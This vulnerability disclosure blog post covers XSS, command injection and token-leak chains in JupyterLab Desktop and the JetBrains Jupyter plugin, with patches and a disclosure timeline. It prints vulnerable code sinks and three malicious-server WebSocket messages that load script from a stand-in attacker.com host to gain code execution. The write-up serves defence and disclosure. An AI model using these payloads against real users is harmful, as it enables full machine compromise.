More than just data: The hidden security risks in Jupyter notebooks

12 min read

Yaniv Nizry photo

Yaniv Nizry

Vulnerability Researcher

Jupyter notebooks are a powerful tool for data scientists, researchers and developers, and their use has been boosted by the increasing popularity of AI and data science. They provide a flexible and interactive environment for combining live code, narrative text, equations, and visualizations in a single document called a notebook, allowing for rapid prototyping, data exploration, and reproducible research.

Our latest research focused on two popular Jupyter implementations that extend its functionality beyond the traditional web-based server: JupyterLab Desktop and the JetBrains Jupyter plugin. We discovered critical vulnerabilities that allow attackers to fully compromise a victim’s machine with minimal user interaction. In this blog post we’ll detail these vulnerabilities, explain how attackers could have exploited them, and how they were patched.

Impact

Our findings in JupyterLab Desktop include Cross-Site Scripting (XSS), command injection, and a token leak (CVE-2025-59842) that allow an attacker to execute arbitrary code on the victim’s machine when an unsuspecting user connects to an arbitrary Jupyter server or clicks on a link within a malicious notebook in untrusted mode.

In the Jupyter plugin of JetBrains, the impact is an XSS leading to remote code execution (CVE-2026-25847), which depends on the environment. In the worst-case scenario, a victim who has a JetBrains IDE with a notebook tab open is susceptible to remote code execution when visiting a malicious website.

Users are strongly advised to update to the latest versions to mitigate these risks. The JetBrains Jupyter plugin vulnerability was fixed in PyCharm 2025.3.2 (CVE-2026-25847). Please note that JupyterLab Desktop is no longer actively maintained and will not receive security updates; users are recommended to migrate to an alternative.

More than just data: The hidden security risks in Jupyter notebooks

Technical details

Background

The Jupyter ecosystem is a collection of open-source projects designed to provide developers and researchers with interactive computing and reproducible research. Without getting into much detail, here are the important components to get familiarized with before diving into the vulnerabilities details: 

  • The classic Jupyter Notebook is a web-based application that offers a simple, document-centric interface for combining live code, narrative text, equations, and visualizations. 
  • Its evolution, JupyterLab, is a more modern, IDE-like interface that allows you to work with multiple notebooks, terminals, and other tools in a single, customizable workspace.
  • The entire system is powered by the Jupyter Server, a backend server that acts as the central hub, managing communication between the user interface and a separate process called a kernel. A kernel (not to be confused with your operating system's kernel) is what actually executes your code. The most common kernel is IPython for Python, but others exist for different languages like R and Julia. The notebook interface sends the code you write to the server, which then relays it to the correct kernel for execution.

Dive deeper into the architecture of the Jupyter ecosystem here: https://docs.jupyter.org/en/stable/projects/architecture/content-architecture.html  

Thanks to its popularity, many IDEs now offer support for the Jupyter Notebook format, either through built-in features or via extensions. For example, the Jupyter extension for Visual Studio Code is incredibly popular, with over 100 million downloads, making it one of the most downloaded extensions in the marketplace.

JupyterLab Desktop: From XSS to command injection

JupyterLab Desktop is a cross-platform application that allows users to run JupyterLab as a standalone desktop application rather than a web-based server. Written in Electron, with security practices in mind, JupyterLab Desktop is configured safely with nodeIntegration: false, and contextIsolation: true settings, essentially limiting the capabilities of the JavaScript code.

In addition to that, the security model separates each view to a different entity, exposing only the required IPC methods for each window:

For example, the settingsdialog window will have different IPC methods exposed vs the welcomeview one. This ensures the least privileged model, making sure that even if an attacker manages to compromise a certain window, they will be restricted to its capabilities.

In addition to the exposure limitation, some IPC listeners also implement a protection mechanism on the receiver end, verifying that the initiator of the request is the intended window. For example, the IPC EventTypeMain.InstallBundledPythonEnv is sensitive and could execute code if called by an attacker, so it verifies that only the _managePythonEnvDialog window can perform the action:

this._evm.registerEventHandler(
      EventTypeMain.InstallBundledPythonEnv,
      async (event, envPath: string) => {
        // for security, make sure event is sent from the dialog when path is specified
        if (
          envPath &&
          event.sender !== this._managePythonEnvDialog?.window?.webContents
        ) {
          return;
        }

During our research, we found a XSS vulnerability in the WelcomeView and the RemoteServerSelectDialog windows, when a user is trying to connect to a remote server:

 The URL provided by the user is inserted into the HTML without any encoding or sanitization in both the server list of RemoteServerSelectDialog:

menuItem.innerHTML = server.url + `<svg class="delete-button" ...`

And the recent session tooltip in the WelcomeView:

tooltip = `${recentSession.remoteURL}\nSession data ...`

Resulting in XSS in both windows.

The WelcomeView window is particularly powerful from an attacker's perspective since it can initiate any IPC message using the sendMessageToMain function. Despite some IPC listeners verifying the window that initiated the request (as described before), we found an interesting IPC listener that doesn’t verify the initiator window: set-server-launch-args. When JupyterLab Desktop loads, the given value is concatenated into a command string as an argument and then executed, making it vulnerable to command injection:

if (serverInfo.serverArgs) {
    launchCmd += ` ${serverInfo.serverArgs}`;
}
//...
script = `
        //...
        ${launchCmd}`;
    }
//...
launchScriptPath = createTempFile(`launch.${ext}`, script);
//...
execFile(launchScriptPath, execOptions)

For this to execute immediately, an attacker can use a different IPC call to restart the application:

electronAPI.sendMessageToMain("restart-app")

Putting it all together, an attacker would need to convince a victim to connect to a server URL to exploit this vulnerability. Immediately after doing so, the attacker-controlled JavaScript code will execute in the WelcomeView window and, using the command injection in the IPC call, run arbitrary commands on the victim’s machine.

JupyterLab desktop: token leak leading to remote code execution (CVE-2025-59842)

So we've discussed a vulnerability in one of the most powerful windows, WelcomeView, but now let’s shift our focus to the most limited window and how its restrictions can be circumvented. But before that, let's first clarify more concepts about Jupyter:

  1. Client-Server Separation: As mentioned earlier, the Jupyter environment is fundamentally split into two distinct processes:
    • The Client (Jupyter notebook/lab): The graphical application the user sees, responsible for the user interface and file management.
    • The Server (Jupyter Server): The component that handles the actual code execution.
  2. Jupyter Server Authentication: Since the Jupyter Server is designed to execute code, it must prevent unauthorized access. There are several ways for organizations running Jupyter to set up their authentication/authorization flows, but by default, Jupyter Server uses token authentication. Upon startup, it generates a unique, random token. This token can be provided to the server either via a URL query parameter or using the Authorization header within each request.
  3. Default File Handling in Desktop: When you install JupyterLab Desktop, it is configured to be the default handler for Jupyter notebook files (.ipynb). Opening a notebook file causes the application to launch a new, dedicated, local Jupyter server instance. This server runs on a random port and uses the default token authentication mechanism mentioned above. So while the code is viewed and executed locally, it's actually using two different components.
  4. Notebook Trust Model: Notebook files are often shared, meaning users frequently open notebooks written by others, which poses a security risk (e.g., executing malicious code upon viewing). To mitigate this, Jupyter employs a Trust Model:
    • Notebooks are initially "untrusted", preventing immediate execution of potentially malicious code when first opened.
    • A notebook becomes "trusted" only after the user explicitly executes a code cell within it. Once trusted, a unique signature is stored in a local database, confirming the user's intent to run the code in that specific document.

When a user connects to a Jupyter session, either remote or local, JupyterLab Desktop will use the LabView window. This window, in the electron context, is considered untrusted as arbitrary JavaScript code can be executed there by design, and because of this, the exposed IPC methods are only: 

  1. getServerInfo - Returns information about the destination server.
  2. broadcastLabUIReady - Broadcasts that the UI is loaded.

Which, at first glance, don’t seem to pose any security issues. However, we noticed that regardless of the change in destination (redirection, user navigation, etc.), the getServerInfo will always return the full URL of the initial destination.

This is where getServerInfo poses a risk: if an attacker manages to change the window destination of a local notebook to their malicious website, they could run this IPC call and leak the randomized port alongside the token of the victim’s local Jupyter server instance, since the token is reflected in the URL as a parameter.

> electronAPI.getServerInfo().then(a=>{console.log(a)})
>>> {type: 'local', environment: {…}, workingDirectory: '/Users/user', defaultKernel: 'python3', url: 'http://localhost:61182/lab?token=jlab:srvr:2c9b07607d444de9d593345532bc78b454adfa'}

However, if a victim opens a shared notebook, it will be "untrusted" at first, and untrusted notebooks are sanitized in order to prevent any JavaScript execution. On top of that, any anchor element will have the  target=_blank and noopener attributes, making a click on such a link open a new window without any IPC methods or references to the notebook’s LabView window.

But there was one path where Jupyter notebook missed adding the anchor element attributes. By providing support for LaTeX syntax for users to write mathematical formulas, Jupyter uses the JavaScript MathJax package, which has extension support.  Because of the html extension,  users can create a link using the \href{url}{math} syntax. This results in an "unsanitized" anchor element (only the URL scheme is sanitized on the MathJax side). Now, if a victim clicks on this link, the redirection will be in the same window of the notebook, allowing the next destination to call getServerInfo and leak sensitive information about the server. 

Since the server uses a token as the authentication method, and by default Jupyter server allows Cross-Origin Resource Sharing (CORS) requests when done with a token, the attacker can now exploit the available REST API of the Jupyter server to upload a new malicious notebook, make it "trusted", and navigate to it for arbitrary code execution on the victim's machine.

JetBrains’ Jupyter plugin: built-in server XSS leading to code execution (CVE-2026-25847)

Up until now, we looked at the official JupyterLab Desktop application, but as mentioned earlier, thanks to Jupyter’s popularity, many IDEs offer support for the Jupyter Notebook format. JetBrains, the company behind popular IDEs like PyCharm and IntelliJ, provides a Jupyter plugin that integrates notebook functionality directly into their development environments, which is bundled by default in PyCharm

When JetBrains IDEs are running, a built-in server will launch in the background on port 63342 (the port is incremented if occupied until reaching an available one). This server is used for various features, such as viewing files in the browser or installing plugins from the JetBrains Marketplace website. Additionally, plugins can define endpoint handlers within their plugin.xml file that leverage this server to perform custom tasks via the browser/REST API.

Since this server performs tasks that might be sensitive, like viewing local files, there are some protections in place to prevent untrusted actors from executing certain requests. The main protection is the isAccessible function, which checks if the request is made from a trusted website (for example, JetBrains-specific domains or localhost) by checking the Origin or Referer headers.

We have noticed that when viewing a Jupyter notebook in an IDE with the official plugin installed, the notebook is rendered using a custom server endpoint located at: /jupyter/index.html?url=<jupyter-server-ws-url>. The url parameter is pointing to a Jupyter server websocket destination. Interestingly, there was no validation on the url parameter, allowing the client to connect to an arbitrary WebSocket URL.

But how can an attacker exploit this? We have learned that the component that executes code is the Jupyter server. So what could a malicious server do on a client?

Here, we need to introduce another Jupyter core component: Jupyter Widgets. They provide custom interactive controls such as sliders, buttons, and maps that can be embedded directly into a notebook. This allows developers to create more dynamic dashboards and user interfaces, transforming a static notebook into an interactive tool. Since widgets are running on the client side, the majority of their code is written in JavaScript.

So an attacker can create a malicious Jupyter server and send the following messages:

{"type":"ScriptManagerMessage","code":"IPyWidgets_BaseUrl_Response","payload":"http://attacker.com:8000"}

{"type":"ScriptManagerMessage","code":"IPyWidgets_WidgetScriptSource_Response","payload":{"moduleName":"test","source":"http://example.com","scriptUri":"test.js"}}

{"header": {"msg_type":"comm_open"}, "content":{"comm_id":"setset","target_name":"jupyter.widget","data":{"state":{"_model_name":"test","_model_module":"test","_model_module_version":"2"}}},"metadata": {"version":"2"}}
  1. The first one, IPyWidgets_BaseUrl_Response, sets the require.js base URL to the attacker’s server URL. 
  2. The second message IPyWidgets_WidgetScriptSource_Response sets information regarding a widget, defining a name (test) and a script URI (test.js).
  3. At last, in the comm_open message, the server asks the UI to load a widget. By using the same widget name we set before (test), the notebook will fetch the attacker's JavaScript code and execute it.

This will result in XSS once the user visits a malicious link. In the context of a JetBrains IDE, this vulnerability allows an attacker to circumvent the critical isAccessible function of the local server.

This is where the impact of the attack can vary, depending on what is available on the built-in JetBrains server, an attacker can do various actions. To demonstrate the worst impact of this attack, we installed the official Stream Deck plugin, which allows many powerful IDE actions to be performed using the REST API, such as opening a terminal (/api/action/Terminal.OpenInReworkedTerminal) and pasting command into the terminal (/api/action/Terminal.Paste). Combining this with the XSS, an attacker can execute arbitrary code on the victim’s machine only by visiting a malicious website.

Patch

Unfortunately, the first vulnerability in JupyterLab Desktop was never fixed. Shortly after we sent our advisory to the maintainers, they added a note to the project stating that it is no longer actively maintained and will not receive security updates. We recommend that users switch to an alternative.

The second vulnerability was fixed in the main JupyterLab repo by moving the anchor hardening to happen after any typesetting. This makes sure that all <a> tags have rel="noopener" and target="_blank" attributes.

The JetBrains Jupyter plugin vulnerability was fixed by no longer allowing the url parameter to point to arbitrary URLs.

Timeline

Date

Action

2025-08-14

We report all issues to Jupyter maintainers

2025-08-14

Jupyter maintainers confirm the issues

2025-08-14

Jupyter maintainers create GHSA-2mr8-962v-wc67 and GHSA-vrj4-r4fw-9rfh

2025-08-14

Jupyter maintainers add a note to the project, stating that Jupyter Desktop will not receive security bug fixes going forward

2025-08-21

Jupyter maintainers create GHSA-vvfj-2jqx-52jm (JupyterLab web version)

2025-08-22

Jupyter maintainers fix the "LaTeX not enforcing the noopener attribute" vulnerability

2025-08-28

We report all issues to JetBrains

2025-08-28

JetBrains acknowledges the report

2025-09-25

We help JetBrains with reproducing the finding, going back and forth several times

2025-09-25

We help Jupyter maintainers with reproducing the finding in JupyterLab desktop

2025-09-25

Jupyter maintainers publish GHSA-vvfj-2jqx-52jm and assign CVE-2025-59842

2025-10-05

JetBrains tracks it internally and is working on a fix

2025-10-11

JetBrains asks for an extension of the 90-day disclosure window

2025-12-16

We ping JetBrains, asking for an update

2026-01-27

JetBrains releases a fix in PyCharm 2025.3.2 and assigns CVE-2026-25847

Summary

In this blog post, we looked at how a seemingly simple XSS flaw in Jupyter client tools can escalate into full machine compromise. By chaining this with a token leak and command injection, attackers can achieve remote code execution just by tricking a victim into opening a malicious notebook or connecting to a rogue server.

As notebooks become a standard part of modern AI and data science workflows, the client-side tools we use to open them need the same level of security scrutiny as the code we write inside them. Ultimately, untrusted notebooks should be treated with the exact same caution as an untrusted executable

Finally, we want to thank the vendors, Jupyter and JetBrains, for addressing and patching these issues.

Build trust into every line of code

Integrate SonarQube into your workflow and start finding vulnerabilities today.

Rating image

4.6 / 5

Unsubscribe